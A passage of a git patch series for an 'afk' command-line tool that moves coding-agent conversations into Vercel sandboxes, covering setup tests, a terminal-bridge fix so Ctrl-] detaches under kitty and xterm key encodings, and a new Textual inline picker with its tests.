pytest.MonkeyPatch) -> None: + for key in ( + "VERCEL_OIDC_TOKEN", + "VERCEL_TOKEN", + "VERCEL_TEAM_ID", + "VERCEL_PROJECT_ID", + "AFK_TEAM", + ): + monkeypatch.delenv(key, raising=False) + + +def test_one_team_needs_no_question() -> None: + assert account.choose_team(TEAMS[:1], interactive=False) == TEAMS[0] + + +def test_no_teams_means_the_personal_scope() -> None: + assert account.choose_team([], interactive=False) is None + + +def test_afk_team_decides_without_asking( + monkeypatch: pytest.MonkeyPatch, +) -> None: + monkeypatch.setenv("AFK_TEAM", "acme") + assert account.choose_team(TEAMS, interactive=True) == TEAMS[1] + + +def test_an_unknown_afk_team_names_the_real_ones( + monkeypatch: pytest.MonkeyPatch, +) -> None: + monkeypatch.setenv("AFK_TEAM", "nope") + with pytest.raises(account.AccountError, match="personal, acme"): + account.choose_team(TEAMS, interactive=True) + + +def test_enter_accepts_the_cli_current_team( + monkeypatch: pytest.MonkeyPatch, +) -> None: + monkeypatch.setattr(account, "cli_current_team", lambda: "team_b") + assert ( + account.choose_team(TEAMS, interactive=True, ask=lambda _: "") + == (TEAMS[1]) + ) + + +def test_a_number_picks_a_team_and_nonsense_asks_again( + monkeypatch: pytest.MonkeyPatch, +) -> None: + monkeypatch.setattr(account, "cli_current_team", lambda: None) + answers = iter(["", "9", "x", "1"]) + picked = account.choose_team( + TEAMS, interactive=True, ask=lambda _: next(answers) + ) + assert picked == TEAMS[0] + + +def test_without_a_terminal_the_cli_team_is_used( + monkeypatch: pytest.MonkeyPatch, +) -> None: + monkeypatch.setattr(account, "cli_current_team", lambda: "team_a") + assert account.choose_team(TEAMS, interactive=False) == TEAMS[0] + + +def test_without_a_terminal_or_a_default_afk_says_how_to_choose( + monkeypatch: pytest.MonkeyPatch, +) -> None: + monkeypatch.setattr(account, "cli_current_team", lambda: None) + with pytest.raises(account.AccountError, match="AFK_TEAM"): + account.choose_team(TEAMS, interactive=False) + + +def test_a_missing_vercel_cli_says_how_to_install_it( + monkeypatch: pytest.MonkeyPatch, +) -> None: + monkeypatch.setattr( + "afk.account.oidc_utils.get_vercel_cli_token", lambda: None + ) + monkeypatch.setattr("afk.account.shutil.which", lambda _: None) + with pytest.raises(account.AccountError, match="npm i -g vercel"): + account.cli_token(interactive=True) + + +def test_not_signed_in_without_a_terminal_says_to_log_in( + monkeypatch: pytest.MonkeyPatch, +) -> None: + monkeypatch.setattr( + "afk.account.oidc_utils.get_vercel_cli_token", lambda: None + ) + monkeypatch.setattr("afk.account.shutil.which", lambda _: "/bin/vercel") + with pytest.raises(account.AccountError, match="vercel login"): + account.cli_token(interactive=False) + + +def test_not_signed_in_with_a_terminal_runs_vercel_login( + monkeypatch: pytest.MonkeyPatch, +) -> None: + tokens = iter([None, "cli-token"]) + ran: list[list[str]] = [] + monkeypatch.setattr( + "afk.account.oidc_utils.get_vercel_cli_token", lambda: next(tokens) + ) + monkeypatch.setattr("afk.account.shutil.which", lambda _: "/bin/vercel") + monkeypatch.setattr( + "afk.account.subprocess.run", lambda argv, **_: ran.append(argv) + ) + assert account.cli_token(interactive=True) == "cli-token" + assert ran == [["vercel", "login"]] + + +def test_setup_creates_an_afk_project_and_records_only_ids( + monkeypatch: pytest.MonkeyPatch, +) -> None: + calls: list[tuple[str, str, Any]] = [] + + def api( + method: str, path: str, token: str, body: Any = None + ) -> dict[str, Any]: + calls.append((method, path, body)) + if path.startswith("/v2/teams"): + return {"teams": TEAMS[:1]} + if len([c for c in calls if c[0] == "POST"]) == 1: + raise urllib.error.HTTPError( + path, 409, "Conflict", email.message.Message(), io.BytesIO() + ) + return {"id": "prj_1"} + + monkeypatch.setattr(account, "api", api) + config = account.setup("cli-token", interactive=False) + + posts = [c for c in calls if c[0] == "POST"] + assert len(posts) == 2, "a taken name is retried with another" + assert posts[1][1] == "/v11/projects?teamId=team_a" + assert config.project_name.startswith("afk-") + assert config.project_id == "prj_1" + saved = account.config_path().read_text() + assert "prj_1" in saved and "token" not in saved.lower() + + +def test_environment_credentials_win( + monkeypatch: pytest.MonkeyPatch, +) -> None: + monkeypatch.setenv("VERCEL_OIDC_TOKEN", "from-env") + monkeypatch.setattr( + account, "cli_token", lambda **_: pytest.fail("must not sign in") + ) + assert account.ensure(interactive=True) == "from-env" + + +CONFIG = account.Config( + team_id="team_a", + team_slug="personal", + project_id="prj_1", + project_name="afk-abc123", +) + + +def test_a_gateway_that_serves_is_recorded_and_not_asked_again( + monkeypatch: pytest.MonkeyPatch, +) -> None: + monkeypatch.setattr(account, "gateway_refusal", lambda _: None) + config, _ = account._check_gateway("cli", CONFIG, "tok", interactive=False) + assert config.gateway_ok + loaded = account.load_config() + assert loaded is not None and loaded.gateway_ok + + +def test_a_refusing_gateway_without_a_terminal_says_what_to_do( + monkeypatch: pytest.MonkeyPatch, +) -> None: + monkeypatch.setattr( + account, "gateway_refusal", lambda _: "requires a valid credit card" + ) + with pytest.raises(account.AccountError) as caught: + account._check_gateway("cli", CONFIG, "tok", interactive=False) + text = str(caught.value) + assert "credit card" in text and "AI_GATEWAY_API_KEY" in text + assert "afk setup" in text + + +def test_a_refusing_gateway_offers_another_team( + monkeypatch: pytest.MonkeyPatch, +) -> None: + refusals = iter(["requires a valid credit card", None]) + excluded: list[str | None] = [] + other = CONFIG.model_copy(update={"team_id": "team_b", "team_slug": "acme"}) + + def setup( + login: str, *, interactive: bool, exclude: str | None = None + ) -> account.Config: + excluded.append(exclude) + return other + + monkeypatch.setattr(account, "gateway_refusal", lambda _: next(refusals)) + monkeypatch.setattr(account, "ask_yes", lambda *_, **__: True) + monkeypatch.setattr(account, "setup", setup) + monkeypatch.setattr(account, "project_token", lambda *_, **__: "tok2") + config, token = account._check_gateway( + "cli", CONFIG, "tok", interactive=True + ) + assert excluded == ["team_a"], "the refused team is not offered again" + assert (config.team_slug, token, config.gateway_ok) == ( + "acme", + "tok2", + True, + ) diff --git a/examples/apps/afk/uv.lock b/examples/apps/afk/uv.lock index f18a90c0..6a000b22 100644 --- a/examples/apps/afk/uv.lock +++ b/examples/apps/afk/uv.lock @@ -16,6 +16,8 @@ version = "0.1.0" source = { editable = "." } dependencies = [ { name = "ai", extra = ["claude-code", "sandbox"] }, + { name = "vercel-internal-core" }, + { name = "vercel-oidc" }, { name = "vercel-sandbox" }, ] @@ -28,6 +30,8 @@ dev = [ [package.metadata] requires-dist = [ { name = "ai", extras = ["claude-code", "sandbox"], editable = "../../../" }, + { name = "vercel-internal-core", git = "https://github.com/vercel/vercel-py?subdirectory=src%2Fvercel-internal-core&branch=main" }, + { name = "vercel-oidc", git = "https://github.com/vercel/vercel-py?subdirectory=src%2Fvercel-oidc&branch=main" }, { name = "vercel-sandbox", git = "https://github.com/vercel/vercel-py?subdirectory=src%2Fvercel-sandbox&branch=main" }, ] @@ -89,7 +93,9 @@ dev = [ { name = "rich", specifier = ">=14.2.0" }, { name = "ruff", specifier = "~=0.8.0" }, { name = "ty", specifier = "~=0.0.37" }, + { name = "vercel-internal-core", git = "https://github.com/vercel/vercel-py?subdirectory=src%2Fvercel-internal-core&rev=main" }, { name = "vercel-oidc", specifier = ">=0.8.0" }, + { name = "vercel-oidc", git = "https://github.com/vercel/vercel-py?subdirectory=src%2Fvercel-oidc&rev=main" }, { name = "vercel-sandbox", git = "https://github.com/vercel/vercel-py?subdirectory=src%2Fvercel-sandbox&rev=main" }, ] @@ -849,7 +855,7 @@ wheels = [ [[package]] name = "vercel-internal-core" version = "0.2.0" -source = { git = "https://github.com/vercel/vercel-py?subdirectory=src%2Fvercel-internal-core&branch=main#d11705834e2e98973fe2c9998338f12c78471aad" } +source = { git = "https://github.com/vercel/vercel-py?subdirectory=src%2Fvercel-internal-core&branch=main#a337e549acb8f69872c5537d91f981e5e9edac5e" } dependencies = [ { name = "anyio" }, { name = "httpx2" }, @@ -858,7 +864,7 @@ dependencies = [ [[package]] name = "vercel-oidc" version = "0.9.0" -source = { git = "https://github.com/vercel/vercel-py?subdirectory=src%2Fvercel-oidc&branch=main#d11705834e2e98973fe2c9998338f12c78471aad" } +source = { git = "https://github.com/vercel/vercel-py?subdirectory=src%2Fvercel-oidc&branch=main#a337e549acb8f69872c5537d91f981e5e9edac5e" } dependencies = [ { name = "anyio" }, { name = "httpx2" }, @@ -868,7 +874,7 @@ dependencies = [ [[package]] name = "vercel-sandbox" version = "0.7.0" -source = { git = "https://github.com/vercel/vercel-py?subdirectory=src%2Fvercel-sandbox&branch=main#d11705834e2e98973fe2c9998338f12c78471aad" } +source = { git = "https://github.com/vercel/vercel-py?subdirectory=src%2Fvercel-sandbox&branch=main#a337e549acb8f69872c5537d91f981e5e9edac5e" } dependencies = [ { name = "anyio" }, { name = "httpx2", extra = ["ws"] }, From 59983cf3fcd37ee837f455ff90b0e2ba74f68a29 Mon Sep 17 00:00:00 2001 From: George Date: Wed, 30 Sep 2026 17:27:58 -0700 Subject: [PATCH 07/37] tty.bridge: detach on Ctrl-] in enhanced keyboard modes, one pty send at a time claude switches the terminal to kitty's keyboard protocol, and the bridge forwards that mode to the real terminal like any output. Ctrl-] then arrives as ESC[93;5u rather than 0x1d, so the detach key did nothing while claude ran. The bridge now knows the key in kitty's form and in xterm's modifyOtherKeys form too. The bridge sends each keystroke from a task of its own, and the sandbox's interactive stream refuses a second writer mid-send with anyio's BusyResourceError, reported as "the sandbox terminal connection dropped". FramedPty now sends one frame at a time, in order; detach() and close() wait at most 10s behind a stuck send, so a raw-mode terminal is never held. --- src/ai/workspaces/experimental/_pty.py | 22 ++++++-- src/ai/workspaces/experimental/tty.py | 37 ++++++++++++-- tests/workspaces/experimental/test_pty.py | 43 ++++++++++++++++ tests/workspaces/experimental/test_tty.py | 62 +++++++++++++++++++++++ 4 files changed, 157 insertions(+), 7 deletions(-) create mode 100644 tests/workspaces/experimental/test_pty.py diff --git a/src/ai/workspaces/experimental/_pty.py b/src/ai/workspaces/experimental/_pty.py index dab6892d..80166500 100644 --- a/src/ai/workspaces/experimental/_pty.py +++ b/src/ai/workspaces/experimental/_pty.py @@ -124,7 +124,17 @@ def __init__( ) -> None: self.name = name self.pid = pid - self._send = send_bytes + sending = asyncio.Lock() + + async def one_at_a_time(data: bytes) -> None: + # Callers send from several tasks at once (a keystroke each, a + # resize), and a channel may refuse a second writer mid-send: + # the sandbox's interactive stream raises anyio's + # BusyResourceError. One frame at a time, in the order sent. + async with sending: + await send_bytes(data) + + self._send = one_at_a_time self._recv = recv_bytes self._close_channel = close_channel self._buf = b"" @@ -186,15 +196,21 @@ async def detach(self) -> None: if self._released: return self._released = True + # Bounded: a send stuck ahead of it must not hold the detach, and + # with it a terminal in raw mode. with contextlib.suppress(Exception): - await self._send(frame(DETACH)) + async with asyncio.timeout(10): + await self._send(frame(DETACH)) await self._release() async def close(self) -> None: if self._released: return try: - await self._send(frame(CLOSE)) + # Bounded, as in detach(): a send stuck ahead of it must not hold + # the close. + async with asyncio.timeout(10): + await self._send(frame(CLOSE)) # Give the holder a moment to report the exit status. async with asyncio.timeout(10): await asyncio.shield(self._exit) diff --git a/src/ai/workspaces/experimental/tty.py b/src/ai/workspaces/experimental/tty.py index c354a8a5..b3f36f7f 100644 --- a/src/ai/workspaces/experimental/tty.py +++ b/src/ai/workspaces/experimental/tty.py @@ -48,6 +48,35 @@ DETACH_KEY = b"\x1d" """Ctrl-]: the key telnet uses, unlikely to collide with a TUI's bindings.""" +_CTRL_KEY = re.compile( + rb"\x1b\[(?:(\d+)(?::\d*)*;(\d+)(?::[12])?u|27;(\d+);(\d+)~)" +) +"""A key with modifiers, as the enhanced keyboard protocols send it: kitty's +`CSI code;mods u` (a press or a repeat, not a release), or xterm's +modifyOtherKeys `CSI 27;mods;code ~`.""" + + +def _detach_at(data: bytes, key: bytes) -> int: + """Where the detach key starts in what the terminal sent, or -1. + + A control key is one byte, until a program switches the terminal to an + enhanced keyboard protocol (claude asks for kitty's). Then Ctrl-] comes + as Ctrl plus "]": `ESC[93;5u`, or `ESC[27;5;93~`. The bridge forwards + those modes to the terminal like any output, so it must know the key in + every form, or the detach key stops working while the program runs. + """ + at = data.find(key) + if len(key) != 1 or key[0] >= 0x20: + return at + char = key[0] + 0x40 # 0x1d is Ctrl plus "]" (0x5d) + codes = {char, ord(chr(char).lower())} # kitty sends letters lowercase + for m in _CTRL_KEY.finditer(data, 0, at if at >= 0 else len(data)): + code, mods = (m[1], m[2]) if m[1] else (m[4], m[3]) + # Ctrl alone; Caps Lock and Num Lock (64, 128) may ride along. + if int(code) in codes and (int(mods) - 1) & ~(64 | 128) == 4: + return m.start() + return at + _DEC_MODE = re.compile(rb"\x1b\[\?([0-9;]+)([hl])") _KITTY = re.compile(rb"\x1b\[([<>=])([0-9;]*)u") @@ -178,10 +207,10 @@ def on_keys() -> None: if not data: end("terminal closed") return - if detach_key and detach_key in data: - before = data.split(detach_key, 1)[0] - if before: - spawn(pty.send(before)) + at = _detach_at(data, detach_key) if detach_key else -1 + if at >= 0: + if data[:at]: + spawn(_send(data[:at])) detached.set() return spawn(_send(data)) diff --git a/tests/workspaces/experimental/test_pty.py b/tests/workspaces/experimental/test_pty.py new file mode 100644 index 00000000..3a422948 --- /dev/null +++ b/tests/workspaces/experimental/test_pty.py @@ -0,0 +1,43 @@ +"""`FramedPty` over a channel that refuses a second writer mid-send.""" + +from __future__ import annotations + +import asyncio + +from ai.workspaces.experimental import _pty + + +async def test_sends_from_many_tasks_go_one_at_a_time_in_order() -> None: + """The sandbox's interactive stream raises BusyResourceError on a second + send while one is in flight; the bridge sends a keystroke per task, so + typing fast on a slow link once ended the bridge.""" + sent: list[bytes] = [] + busy = False + + async def send_bytes(data: bytes) -> None: + nonlocal busy + if busy: + raise RuntimeError("BusyResourceError: another task is sending") + busy = True + await asyncio.sleep(0.01) # a slow link + sent.append(data) + busy = False + + async def recv_bytes() -> bytes: + await asyncio.Event().wait() + return b"" + + async def close_channel() -> None: + pass + + pty = _pty.FramedPty( + name=None, + send_bytes=send_bytes, + recv_bytes=recv_bytes, + close_channel=close_channel, + ) + keys = [bytes([c]) for c in b"hello"] + await asyncio.gather(*(pty.send(k) for k in keys), pty.resize(80, 24)) + assert sent[:5] == [_pty.frame(_pty.INPUT, k) for k in keys] + assert sent[5] == _pty.frame(_pty.RESIZE, b"80,24") + await pty.detach() diff --git a/tests/workspaces/experimental/test_tty.py b/tests/workspaces/experimental/test_tty.py index fd5e4565..1bdf9d1f 100644 --- a/tests/workspaces/experimental/test_tty.py +++ b/tests/workspaces/experimental/test_tty.py @@ -315,6 +315,68 @@ def test_the_modes_a_program_set_are_undone_and_nothing_else() -> None: ), "a program that set nothing leaves nothing to undo" +@pytest.mark.parametrize( + ("data", "at"), + [ + (b"\x1d", 0), + (b"ab\x1d", 2), + # kitty's keyboard protocol, which claude asks for + (b"\x1b[93;5u", 0), + (b"ab\x1b[93;5:1u", 2), # a press, reported with its event type + (b"\x1b[93;69u", 0), # Caps Lock on + (b"\x1b[93:125;5u", 0), # with an alternate key + (b"\x1b[27;5;93~", 0), # xterm's modifyOtherKeys + (b"\x1b[93;5:3u", -1), # a release, not a press + (b"\x1b[93u", -1), # "]" alone + (b"\x1b[93;6u", -1), # Ctrl-Shift-] + (b"\x1b[91;5u", -1), # Ctrl-[ + (b"x\x1b[93;5uy\x1d", 1), # the first of two + ], +) +def test_the_detach_key_in_every_form_a_terminal_sends_it( + data: bytes, at: int +) -> None: + from ai.workspaces.experimental.tty import DETACH_KEY, _detach_at + + assert _detach_at(data, DETACH_KEY) == at + + +@pytest.mark.timeout(60) +def test_bridge_detaches_on_the_key_in_the_kitty_protocol( + tmp_path: Path, +) -> None: + """A terminal a program switched to the enhanced keyboard protocol sends + Ctrl-] as `ESC[93;5u`; the bridge detaches on it all the same.""" + name = f"bridge-{uuid.uuid4().hex[:8]}" + pid, master = pty.fork() + if pid == 0: + os.chdir(tmp_path) + os.execv( + sys.executable, [sys.executable, "-c", DRIVER, str(tmp_path), name] + ) + try: + assert b"$ " in _read_until( + master, b"$ " + ), "the bridged shell never showed a prompt" + os.write(master, b"\x1b[93;5u") + out = _read_until(master, b"BRIDGE-RETURNED:") + assert b"BRIDGE-RETURNED:None" in out, "the kitty Ctrl-] detaches" + _, raw = os.waitpid(pid, 0) + assert os.waitstatus_to_exitcode(raw) == 0 + finally: + os.close(master) + import asyncio + + from ai.workspaces.experimental import Local + + async def cleanup() -> None: + async with Local(tmp_path) as ws: + if name in [p.name for p in await ws.ptys()]: + await (await ws.attach(name)).close() + + asyncio.run(cleanup()) + + def test_a_sequence_split_across_reads_is_still_seen() -> None: from ai.workspaces.experimental.tty import _TerminalModes From b8536de644878eef79bba3910b56aedadea4b545 Mon Sep 17 00:00:00 2001 From: George Date: Wed, 30 Sep 2026 17:28:06 -0700 Subject: [PATCH 08/37] afk: bare afk on a terminal is an inline picker The list, drawn with Textual's inline mode under your prompt rather than over the whole screen. Arrow keys choose a conversation; Enter or a letter runs the command shown for it (push, push --bg, attach or peek, pull, pull --files, stop, which asks first), exactly as if you had typed it. The picker leaves that command in the scrollback, by the name the list showed; q, Esc or Ctrl-C leaves the list there instead. Local conversations are there to pick at once, the pushed ones as their sandboxes answer. The picker only returns argv, and the CLI runs it after the app has exited: an inline Textual app cannot suspend, and a harness's TUI needs the whole terminal. Piped, and for every explicit verb, afk is unchanged. --- examples/apps/afk/README.md | 5 + examples/apps/afk/afk/cli.py | 56 +++++++ examples/apps/afk/afk/tui.py | 218 ++++++++++++++++++++++++++++ examples/apps/afk/pyproject.toml | 1 + examples/apps/afk/tests/test_tui.py | 111 ++++++++++++++ examples/apps/afk/uv.lock | 94 +++++++++++- 6 files changed, 480 insertions(+), 5 deletions(-) create mode 100644 examples/apps/afk/afk/tui.py create mode 100644 examples/apps/afk/tests/test_tui.py diff --git a/examples/apps/afk/README.md b/examples/apps/afk/README.md index c22e6371..fa0db9f2 100644 --- a/examples/apps/afk/README.md +++ b/examples/apps/afk/README.md @@ -24,6 +24,11 @@ $ afk afk push [--bg] · attach · peek · pull [--files] · stop ``` +On a terminal that list is a picker, drawn under your prompt rather than +over the whole screen: arrow keys choose a conversation, Enter or a letter +runs the command shown for it as if you had typed it (`stop` asks first), +and `q` leaves the list in your scrollback. Piped, `afk` prints the list. + ## The verbs | | | diff --git a/examples/apps/afk/afk/cli.py b/examples/apps/afk/afk/cli.py index cbcd8cc0..df5ba89d 100644 --- a/examples/apps/afk/afk/cli.py +++ b/examples/apps/afk/afk/cli.py @@ -13,6 +13,9 @@ An id is whatever the list showed: a label you gave (`--as`), a word from a title, or a short id prefix. With none, the one conversation clearly in use is chosen; with several in play, afk asks. Ctrl-] detaches from any TUI. + +On a terminal, bare `afk` is a picker: arrow keys choose a conversation, +Enter or a letter runs the command shown for it, q leaves the list as is. """ from __future__ import annotations @@ -139,6 +142,54 @@ async def listing( ) +async def picking( + cwd: Path, + gw: Gateway | None, + remote_gw: Gateway | None, + *, + everything: bool, +) -> list[str] | None: + """The list as a picker, on a terminal: the command you chose, to run as + if typed, or None. The same rows as `listing`, arriving the same way.""" + # textual is imported only when a picker is drawn + from rich.text import Text # noqa: PLC0415 + + from . import tui # noqa: PLC0415 + + state = st.load() + + async def away() -> list[Row]: + remote, gone = await remote_rows(state, cwd, remote_gw) + if gone: + for name in gone: + state.forget_sandbox(name) + st.save(state) + return remote + + probing = ( + asyncio.create_task(away()) if state.for_origin(str(cwd)) else None + ) + here, notes, answered = await local_rows(cwd, gw) + where = f"{BOLD}{_tilde(cwd)}{RESET} {DIM}· " + harnesses = ", ".join(answered) or "no harness found" + if not here and probing is None: + print(f"{where}{harnesses}{RESET}") + for note in notes: + print(f" {DIM}{note}{RESET}") + print( + "\n no conversations here yet — start one with `claude` or " + "`codex`\n" + ) + return None + shown = here if everything else here[:LIST_CAP] + if len(here) > len(shown): + notes.append(f"… {len(here) - len(shown)} more; `afk --all` shows them") + head = Text.assemble((_tilde(cwd), "bold"), (f" · {harnesses}", "dim")) + for note in notes: + head.append(f"\n {note}", style="dim") + return await tui.pick(head, shown, probing) + + def _title(r: Row) -> str: t = (r.title or "").strip().replace("\n", " ") return (t[:43] + "…") if len(t) > 44 else t @@ -241,6 +292,11 @@ async def main_async(argv: list[str]) -> int: # push needs this directory's conversations; the rest need afk's # own record of what it pushed, and then that one sandbox. if args.verb is None: + if sys.stdin.isatty() and sys.stdout.isatty(): + chosen = await picking( + cwd, gw, remote_gw, everything=args.everything + ) + return 0 if chosen is None else await main_async(chosen) await listing(cwd, gw, remote_gw, everything=args.everything) return 0 if args.verb == "push": diff --git a/examples/apps/afk/afk/tui.py b/examples/apps/afk/afk/tui.py new file mode 100644 index 00000000..e645fc9b --- /dev/null +++ b/examples/apps/afk/afk/tui.py @@ -0,0 +1,218 @@ +"""The list, as a picker: bare `afk` on a terminal. + +Drawn inline, under your prompt like the plain list, never the whole screen. +Choosing returns the argv of the command it stands for; the CLI runs that +command exactly as if you had typed it, with the terminal back to itself (a +harness's TUI needs all of it, and an inline app cannot hand it over). +Quitting leaves the list in the scrollback; choosing leaves the one-line +command instead. +""" + +from __future__ import annotations + +import shlex +from typing import TYPE_CHECKING, ClassVar + +from rich.text import Text +from textual.app import App, ComposeResult +from textual.binding import Binding, BindingType +from textual.widgets import OptionList, Static +from textual.widgets.option_list import Option + +from .rows import KIND_SHORT, Row + +if TYPE_CHECKING: + from collections.abc import Awaitable + + from textual import events + +Verbs = dict[str, tuple[str, list[str]]] +"""key -> (what the footer calls it, the argv it runs).""" + + +def verbs(row: Row) -> Verbs: + sid = row.session_id + if row.where == "here": + return { + "enter": ("push", ["push", sid]), + "b": ("push --bg", ["push", sid, "--bg"]), + } + first = "attach" if row.mode == "tui" else "peek" + return { + "enter": (first, [first, sid]), + "l": ("pull", ["pull", sid]), + "f": ("pull --files", ["pull", sid, "--files"]), + "s": ("stop", ["stop", sid]), + } + + +def line(row: Row) -> Text: + t = Text(f"{row.short} {KIND_SHORT[row.kind]:6s} ") + if row.where == "here": + t.append(f"{_clip(row.title or '', 44):46s} ") + t.append(row.status, style="dim") + else: + t.append(f"{(row.label or ''):14s} {row.status or '…':14s} ") + origin = f"← from {row.from_id[:4]} · " if row.from_id else "" + t.append(f"{origin}{row.sandbox}", style="dim") + return t + + +def _clip(s: str, n: int) -> str: + s = s.strip().replace("\n", " ") + return s[: n - 1] + "…" if len(s) > n else s + + +class Picker(App[list[str] | None]): + CSS = """ + Screen:inline { border-top: none; border-bottom: none; } + #head, #keys, OptionList { padding: 0 2; } + #keys { color: $text-muted; } + OptionList { border: none; max-height: 20; background: transparent; } + OptionList:focus { background-tint: transparent; } + """ + # Ctrl-C leaves, as it does any CLI; Textual's own Ctrl-C copies. + BINDINGS: ClassVar[list[BindingType]] = [ + Binding("ctrl+c", "leave", show=False, priority=True) + ] + + def __init__( + self, + head: Text, + here: list[Row], + remote: Awaitable[list[Row]] | None, + ) -> None: + super().__init__(ansi_color=True) + self.head = head + self.here_rows = here + self.remote_rows: list[Row] | None = None + self._remote = remote + self.confirming: list[str] | None = None + + def compose(self) -> ComposeResult: + yield Static(self.head, id="head") + yield OptionList(id="rows") + yield Static(id="keys") + + async def on_mount(self) -> None: + self.redraw() + # The sandboxes answer when they answer: what is already known is + # there to pick from meanwhile. + if self._remote is not None: + self.run_worker(self.load(self._remote)) + + async def load(self, remote: Awaitable[list[Row]]) -> None: + self.remote_rows = await remote + self.redraw() + + def redraw(self) -> None: + ol = self.query_one(OptionList) + keep = ol.highlighted_option.id if ol.highlighted_option else None + options: list[Option] = [] + if self.here_rows: + options.append(Option(Text("here", style="bold"), disabled=True)) + options += [ + Option(line(r), id=f"here:{r.session_id}") + for r in self.here_rows + ] + if self._remote is not None: + options.append(Option(Text("remote", style="bold"), disabled=True)) + if self.remote_rows is None: + options.append( + Option(Text(" asking…", style="dim"), disabled=True) + ) + options += [ + Option(line(r), id=f"remote:{r.session_id}") + for r in self.remote_rows or [] + ] + ol.set_options(options) + ids = [o.id for o in options] + # Stay on the row you were on; otherwise the first real one. + target = ( + keep if keep and keep in ids else next((i for i in ids if i), None) + ) + ol.highlighted = ids.index(target) if target else None + self.show_keys() + + def selected(self) -> Row | None: + opt = self.query_one(OptionList).highlighted_option + if opt is None or opt.id is None: + return None + part, sid = opt.id.split(":", 1) + rows = self.here_rows if part == "here" else self.remote_rows + return next((r for r in rows or [] if r.session_id == sid), None) + + def show_keys(self) -> None: + keys = self.query_one("#keys", Static) + row = self.selected() + if self.confirming is not None and row is not None: + keys.update(f"stop {row.label or row.short} ({row.sandbox})? y/N") + return + shown = [ + f"{k} {name}" + for k, (name, _) in (verbs(row) if row else {}).items() + ] + keys.update(" · ".join([*shown, "q quit"])) + + def on_option_list_option_highlighted(self) -> None: + self.confirming = None + self.show_keys() + + def on_option_list_option_selected(self) -> None: + self.act("enter") + + async def on_key(self, event: events.Key) -> None: + if event.key == "enter": + return # the list's own select: on_option_list_option_selected + if self.confirming is None and event.key in ("q", "escape"): + await self.action_leave() + return + self.act(event.key) + + async def action_leave(self) -> None: + # The list stays in the scrollback, without the keys. + await self.query("#keys").remove() + self.call_after_refresh(self.exit, None) + + def act(self, key: str) -> None: + # Every key comes through here, Enter too, so a pending question is + # answered first: only y stops; any other key is the N. + if self.confirming is not None: + argv, self.confirming = self.confirming, None + if key == "y": + self.done(argv) + else: + self.show_keys() + return + row = self.selected() + chosen = verbs(row).get(key) if row else None + if chosen is None: + return + _, argv = chosen + if argv[0] == "stop": + self.confirming = argv + self.show_keys() + else: + self.done(argv) + + def done(self, argv: list[str]) -> None: + # Leave the command it stands for, not the list, by the name the list + # showed: what you would have typed, so the scrollback reads like a + # shell session. The argv itself keeps the full id: never ambiguous. + row = self.selected() + name = (row.label or row.short) if row else None + shown = [ + name if row and name and a == row.session_id else a for a in argv + ] + self.exit( + argv, + message=Text(f"› afk {shlex.join(shown)}", style="dim"), # noqa: RUF001 + ) + + +async def pick( + head: Text, here: list[Row], remote: Awaitable[list[Row]] | None +) -> list[str] | None: + return await Picker(head, here, remote).run_async( + inline=True, inline_no_clear=True + ) diff --git a/examples/apps/afk/pyproject.toml b/examples/apps/afk/pyproject.toml index 5da07b21..1b1df6af 100644 --- a/examples/apps/afk/pyproject.toml +++ b/examples/apps/afk/pyproject.toml @@ -9,6 +9,7 @@ dependencies = [ "vercel-sandbox", "vercel-internal-core", "vercel-oidc", + "textual>=8.2.8", ] [project.scripts] diff --git a/examples/apps/afk/tests/test_tui.py b/examples/apps/afk/tests/test_tui.py new file mode 100644 index 00000000..964d33d7 --- /dev/null +++ b/examples/apps/afk/tests/test_tui.py @@ -0,0 +1,111 @@ +"""The picker: every key stands for one command, and stop asks first.""" + +from __future__ import annotations + +import asyncio + +import pytest +from afk.rows import Row +from afk.tui import Picker +from rich.text import Text + +HERE = [ + Row( + where="here", + kind="claude-code", + session_id="a3f5aaaa", + title="migrate the billing tests", + status="active 2m", + ), + Row( + where="here", + kind="codex", + session_id="01a0cccc", + title="audit the auth middleware", + status="idle 3h", + ), +] +REMOTE = [ + Row( + where="remote", + kind="claude-code", + session_id="c2d1dddd", + label="billing", + status="running", + sandbox="amber-fox", + mode="tui", + ), + Row( + where="remote", + kind="codex", + session_id="9e7feeee", + label="tests", + status="finished", + sandbox="quiet-owl", + mode="bg", + ), +] + + +async def _remote(delay: float = 0.0) -> list[Row]: + await asyncio.sleep(delay) + return REMOTE + + +async def _press(*keys: str, remote_delay: float = 0.0) -> Picker: + app = Picker(Text("~/proj"), HERE, _remote(remote_delay)) + async with app.run_test(size=(100, 20)) as pilot: + await pilot.pause(0.1) + for key in keys: + await pilot.press(key) + await pilot.pause(0.1) + return app + + +@pytest.mark.parametrize( + ("keys", "argv"), + [ + (["enter"], ["push", "a3f5aaaa"]), + (["b"], ["push", "a3f5aaaa", "--bg"]), + (["down", "down", "enter"], ["attach", "c2d1dddd"]), + (["down", "down", "down", "enter"], ["peek", "9e7feeee"]), + (["down", "down", "l"], ["pull", "c2d1dddd"]), + (["down", "down", "f"], ["pull", "c2d1dddd", "--files"]), + (["down", "down", "s", "y"], ["stop", "c2d1dddd"]), + ], +) +async def test_keys_choose_a_command(keys: list[str], argv: list[str]) -> None: + assert (await _press(*keys)).return_value == argv + + +@pytest.mark.parametrize("answer", ["enter", "n", "escape", "q", "down"]) +async def test_stop_is_only_a_yes(answer: str) -> None: + app = await _press("down", "down", "s", answer) + assert app.return_value is None + assert app.confirming is None + + +@pytest.mark.parametrize("key", ["q", "escape", "ctrl+c"]) +async def test_leaving_chooses_nothing(key: str) -> None: + app = await _press(key) + assert app.return_value is None + assert not app.is_running + + +async def test_ctrl_c_leaves_even_while_asking_to_stop() -> None: + app = await _press("down", "down", "s", "ctrl+c") + assert app.return_value is None + assert not app.is_running + + +async def test_remote_verbs_do_nothing_on_a_local_row() -> None: + assert (await _press("s", "l")).return_value is None + + +async def test_local_rows_are_there_while_sandboxes_answer() -> None: + app = Picker(Text("~/proj"), HERE, _remote(10)) + async with app.run_test(size=(100, 20)) as pilot: + await pilot.pause(0.1) + assert app.remote_rows is None + await pilot.press("enter") + assert app.return_value == ["push", "a3f5aaaa"] diff --git a/examples/apps/afk/uv.lock b/examples/apps/afk/uv.lock index 6a000b22..7c90ee5e 100644 --- a/examples/apps/afk/uv.lock +++ b/examples/apps/afk/uv.lock @@ -16,6 +16,7 @@ version = "0.1.0" source = { editable = "." } dependencies = [ { name = "ai", extra = ["claude-code", "sandbox"] }, + { name = "textual" }, { name = "vercel-internal-core" }, { name = "vercel-oidc" }, { name = "vercel-sandbox" }, @@ -30,6 +31,7 @@ dev = [ [package.metadata] requires-dist = [ { name = "ai", extras = ["claude-code", "sandbox"], editable = "../../../" }, + { name = 